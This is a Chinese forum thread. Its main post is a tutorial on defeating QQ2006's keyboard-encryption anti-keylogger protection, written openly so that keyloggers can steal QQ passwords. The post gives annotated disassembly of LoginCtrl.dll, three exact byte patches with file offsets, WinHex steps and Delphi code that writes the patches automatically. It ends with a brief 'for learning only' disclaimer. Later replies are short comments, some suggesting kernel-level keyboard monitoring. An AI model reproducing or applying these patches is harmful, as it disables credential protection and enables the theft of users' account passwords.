能力值:
( LV2,RANK:10 )
|
-
-
2 楼
有
一、现在网上有很多盗QQ木马软件,它是如何工作的呢,能够绕过QQ健盘加密,从而进行窃取密码的非法勾当。
1、网上有文章讲,删除QQ目录下的npkcrypt.sys文件就可以绕过健盘加密方法,但这种方法很明显,会出现QQ健盘加密技术的失败。(我们试下出现的效果)我们做下 我们看到的效果
2、今天我要讲的方法,不删除npkcrypt.sys文件,只修改QQ目录下的LoginCtrl.dll文件,就可以了。我们先复制一份
二、开始
测试环境:winxp sp2 qq2006beta2版本
准备工具:任何一款反汇编软件,我这里用OllyICE,网上搜索有下。
winhex十六进制工具
1)为了方便测试,我们先把npkcrypt.sys文件删了。大家看到没有,出现QQ健盘加密启动失败。嗯,我们不管它,关闭QQ。
2)运行OllyICE文件,并打开LoginCtrl.dll这个文件,再右击-》查找-》当前模块中的名称(标签)。
3)找到npkcntc.#1导入函数,只要选择第一个就行了,然后按回车键,来到这里,再回车,来到这里,代码如下:
60A3F9A8 . 8BCE mov ecx, esi
60A3F9AA . E8 49050000 call 60A3FEF8 //检测npkcrypt.sys文件是否存在
60A3F9AF . 85C0 test eax, eax
60A3F9B1 74 0C je short 60A3F9BF //关健点,改为jne,意思是npkcrypt.sys文件不存在
60A3F9B3 . |FF15 E466A460 call [<&npkcntc.#1>]
60A3F9B9 . |8986 90010000 mov [esi+190], eax
60A3F9BF > \39BE 90010000 cmp [esi+190], edi
60A3F9C5 . 0F8E 88000000 jle 60A3FA53
60A3F9CB . |68 9E0B0000 push 0B9E //0B9E资源为显示鍵盘加密成功的字符。
60A3F9D0 . |8D8E 94010000 lea ecx, [esi+194]
60A3F9D6 . |E8 5D1A0000 call
60A3F9DB . |E8 BE1A0000 call
60A3F9E0 . |8B40 0C mov eax, [eax+C]
60A3F9E3 . |57 push edi
60A3F9E4 . |6A 0C push 0C
60A3F9E6 . |6A 0C push 0C
60A3F9E8 . |6A 01 push 1
60A3F9EA . |68 C13E0000 push 3EC1 注意这里的3EC1,加密正确显示的资源名,非常重要
60A3F9EF . |50 push eax
60A3F9F0 . |FF15 7C66A460 call [<&USER32.LoadImageA>]
60A3F9F6 . |8D7E 64 lea edi, [esi+64] //健盘加密技术启运成功显示的图像
60A3F9F9 . |6A 00 push 0
60A3F9FB . |8BCF mov ecx, edi
60A3F9FD . |8986 88010000 mov [esi+188], eax
60A3FA03 . |E8 11FAFFFF call 60A3F419
60A3FA08 . |FF15 F066A460 call [<&npkcntc.#9>]
60A3FA0E . |85C0 test eax, eax
60A3FA10 . |75 08 jnz short 60A3FA1A
60A3FA12 . |6A 01 push 1
60A3FA14 . |FF15 E066A460 call [<&npkcntc.#4>]
60A3FA1A > |85FF test edi, edi
60A3FA1C . |75 04 jnz short 60A3FA22
60A3FA1E . |33C0 xor eax, eax
60A3FA20 . |EB 03 jmp short 60A3FA25
60A3FA22 > |8B47 20 mov eax, [edi+20]
60A3FA25 > |68 46080000 push 846
60A3FA2A . |50 push eax
60A3FA2B . |FFB6 90010000 push dword ptr [esi+190]
60A3FA31 . |FF15 EC66A460 call [<&npkcntc.#5>]
60A3FA37 . |85FF test edi, edi
60A3FA39 . |75 04 jnz short 60A3FA3F
60A3FA3B . |33C0 xor eax, eax
60A3FA3D . |EB 03 jmp short 60A3FA42
60A3FA3F > |8B47 20 mov eax, [edi+20]
60A3FA42 > |6A 02 push 2
60A3FA44 . |50 push eax
60A3FA45 . |FFB6 90010000 push dword ptr [esi+190]
60A3FA4B . |FF15 E866A460 call [<&npkcntc.#10>]
60A3FA51 . |EB 43 jmp short 60A3FA96
60A3FA53 > \FF15 9460A460 call [<&KERNEL32.GetLastError>] npkcrypt.sys文件不存在,跳到这里
60A3FA59 . E8 401A0000 call
60A3FA5E . 8B40 0C mov eax, [eax+C]
60A3FA61 . 57 push edi
60A3FA62 . 6A 0C push 0C
60A3FA64 . 6A 0C push 0C
60A3FA66 . 6A 01 push 1
60A3FA68 . 68 C23E0000 push 3EC2 改 注意这里是3ec2,错误的资源名,改成正确的资源名为3ec1
60A3FA6D . 50 push eax
60A3FA6E . FF15 7C66A460 call [<&USER32.LoadImageA>]
60A3FA74 . 8D7E 64 lea edi, [esi+64]
60A3FA77 . 6A 01 push 1
60A3FA79 . 8BCF mov ecx, edi
60A3FA7B . 8986 88010000 mov [esi+188], eax
60A3FA81 . E8 93F9FFFF call 60A3F419
60A3FA86 . 68 9F0B0000 push 0B9F 改 这里是0B9F,显示健盘加密失败的字符资源,前面为0b9e,改成0b9e
60A3FA8B . 8D8E 94010000 lea ecx, [esi+194]
60A3FA91 . E8 A2190000 call
60A3FA96 > E8 031A0000 call
60A3FA9B . 8B40 0C mov eax, [eax+C]
60A3FA9E . 6A 00 push 0
60A3FAA0 . 6A 10 push 10
60A3FAA2 . 6A 10 push 10
60A3FAA4 . 6A 01 push 1
60A3FAA6 . 68 C33E0000 push 3EC3
60A3FAAB . 50 push eax
60A3FAAC . FF15 7C66A460 call [<&USER32.LoadImageA>]
全部保存,再运行下QQ
哈哈,大家看见没有,npkcrypt.sys文件被删除,显示加载健盘加密技术启运成功。所以我们不要删除这个文件,现在我们把这个文件还原回去,再运行看看效果如何,事实上这个文件已没有用了,只要改下LoginCtrl.dll文件的三处就可以了,分别为:
60A3F9B1 74 0C je short 60A3F9BF //关健点,改为jne,意思是文件不存在
60A3FA68 . 68 C23E0000 push 3EC2 注意这里是3ec2,错误的资源名,改成正确的资源名为3ec1
60A3FA86 . 68 9F0B0000 push 0B9F //这里是0B9F,显示健盘加密失败的字符资源,前面为0b9e,改成0b9e
就行了。我们现在改回去,又出现鍵盘加密失败的信息。
4)使用winhex定位编程修改位置,从而进行修改。打开源LoginCtrl.dll
运行winhex->文件-》打开-》选择LoginCtrl.dll文件,再点搜索-》查找十六进制数据
第一处:查找:FF15E466A460为了好定位,往前找74 看下面的程序任务栏的偏移量为f9b1,改为75就可以了
第二处:查找:68C23E0000 找到第二个地方 找到c2,看下面程序任务栏的偏移量为fa69,改为c1就可以了。
第三处:查找:689F0B0000 找到9f,看下面的程序任务栏的偏移量为fa87,改为9e就可以了。
最后保存,又出现健盘加密成功了。
5)有了上面的偏移量我们现在来编程实现,这里给出DELPHI修改LoginCtrl.dll的源码。
function Button3Click(sss:string):boolean;
var
buffer:char;
F:file;
begin
result:=true;
try
Assignfile(F,sss+'LoginCtrl.dll');//关联QQ目录下的LoginCtrl.dll文件
FileMode:=2;
Reset(F,1);
Seek(F,f9b1);//把文件指针定位到63921这里,改为75
buffer:=char($75);
Blockwrite(F,buffer,1);//
Seek(F,fa69);;//把文件指针定位到64105这里,改为c1
buffer:=char($C1);
Blockwrite(F,buffer,1);
Seek(F,fa87);//把文件指针定位到64135这里,改为9e
buffer:=char($9E);
Blockwrite(F,buffer,1);
Closefile(f); //最后关闭文件。
except
result:=false;
end;
end;
最后教程结束了,这时各位可以写过鍵盘记录密码东东了,可以截取密码,也不知道大家看懂没有,第一次做动画,失误之处,敬请各位原谅,还希望各位努力学习。
注意: 其它版本的QQ,需要用这方法重新定位修改,
修改时要关闭QQ程序。
最后声明:只学习而已,非其它目的,严禁用于此方法用于非法目的!!!
、、、、、、、、、、、、、、、、、、、、、、
复制真累
|
能力值:
( LV9,RANK:140 )
|
-
-
3 楼
感谢
还要多多学习啊
|
能力值:
( LV8,RANK:130 )
|
-
-
4 楼
测试环境:winxp sp2 qq2006beta2版本
|
能力值:
( LV5,RANK:60 )
|
-
-
5 楼
很强大,学习
|
能力值:
( LV9,RANK:140 )
|
-
-
6 楼
晕,n久了,发出来没用
|
能力值:
( LV2,RANK:10 )
|
-
-
7 楼
写的很详细呀,学习了!
|
能力值:
( LV2,RANK:10 )
|
-
-
8 楼
研究QQ密码框的怎么这么多
|
能力值:
( LV2,RANK:10 )
|
-
-
9 楼
现在还看不懂,自我加油
|
能力值:
( LV2,RANK:10 )
|
-
-
10 楼
用驱动监视键盘啊,ring3下很难搞的,
|
能力值:
( LV3,RANK:30 )
|
-
-
11 楼
强大。一定要收藏
|
能力值:
( LV2,RANK:10 )
|
-
-
12 楼
ring0实现吧
|
能力值:
( LV2,RANK:10 )
|
-
-
13 楼
一大堆研究qq的
|